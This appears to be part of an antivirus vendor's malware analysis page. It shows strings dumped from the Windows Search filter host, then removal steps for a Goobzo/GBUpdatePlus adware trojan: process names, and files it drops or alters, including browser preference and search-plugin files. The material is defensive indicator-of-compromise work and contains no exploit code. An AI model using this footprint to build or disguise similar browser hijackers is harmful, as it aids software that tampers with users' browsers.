d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegQueryInfoKeyW

RegEnumKeyExW

ReportEventW

_amsg_exit

SearchFilterHost.pdb

version="5.1.0.0"

name="Microsoft.Windows.Search.MSSFH"

%26lt;requestedExecutionLevel

3 3(30383|3

kernel32.dll

Software\Microsoft\Windows Search

SOFTWARE\Microsoft\Windows Search

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

Windows Search Service

tquery.dll

advapi32.dll

API-MS-Win-Core-LocalRegistry-L1-1-0.dll

%26lt;Exception%26gt;%26lt;HR%26gt;0x%08x%26lt;/HR%26gt;%26lt;eip%26gt;%p%26lt;/eip%26gt;%26lt;module%26gt;%S%26lt;/module%26gt;%26lt;line%26gt;%d%26lt;/line%26gt;%26lt;/Exception%26gt;

Software\Microsoft\Windows Search\Tracing

Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported

Software\Microsoft\Windows Search\Tracing\EventThrottleState

%26lt;MSG%26gt;

%26lt;ERR%26gt; 0x%08x=

%26lt;LOC%26gt; %S(%d) %26lt;/LOC%26gt;

tid="0x%x"

pid="0x%x"

tagname="%S"

tagid="0x%x"

el="0x%x"

time="%04d/%02d/%02d %02d:%02d:%02d.%03d"

logname="%S"

%26lt;/MSG%26gt;%26lt;/TRC%26gt;

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}

.\%s.mui

.\%s\%s.mui

%s\%s.mui

%s\%s\%s.mui

%s\%s

winhttp.dll

Microsoft Windows Search Filter Host

7.00.7601.17610 (win7sp1_gdr.110503-1502)

SearchFilterHost.exe

Windows

7.00.7601.17610

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
smu.exe:2540
smu.exe:3356
sma.exe:308
sma.exe:4008
sma.exe:3164
sma.exe:3192
%original file name%.exe:3380
%original file name%.exe:264
smp.exe:3444
smp.exe:2836
tcpsvcs.exe:3488
tcpsvcs.exe:1504
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\ProgramData\SearchModulePlus\smhe.js (407 bytes)
C:\Windows\Temp\Pre83CF.tmp (601 bytes)
C:\Windows\Temp\Pre93AB.tmp (601 bytes)
C:\Windows\Temp\Web93AC.tmp (63 bytes)
C:\Windows\Temp\Pre83E0.tmp (601 bytes)
C:\Windows\Temp\Web83D0.tmp (63 bytes)
C:\Windows\Temp\Web83E1.tmp (63 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_13704\%original file name%.exe (7433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installytd_6828\%original file name%.exe (7433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_22888\bxsdk32.dll (1192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_9822\%original file name%.exe (7433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Search.lnk (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\Search.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\5a2ce8gs.default\search-metadata.json (95 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Preferences (11028 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\5a2ce8gs.default\searchplugins\smod.xml (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (9416 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\5a2ce8gs.default\prefs.js (388 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\SMUninstall.exe (10136 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\sma.exe (8560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns715C.tmp (14 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\SBIEBrowserHelperObject.dll (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns8C5D.tmp (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smci32.dll (45051 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns85B7.tmp (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\AccD.dll (7392 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\Updater.exe (25776 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns96D9.tmp (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\nsProcess.dll (12 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\rlz_id.dll (3616 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smi32.exe (12088 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe (56684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF8.tmp (245963 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys (784 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smp.exe (6584 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

Related articles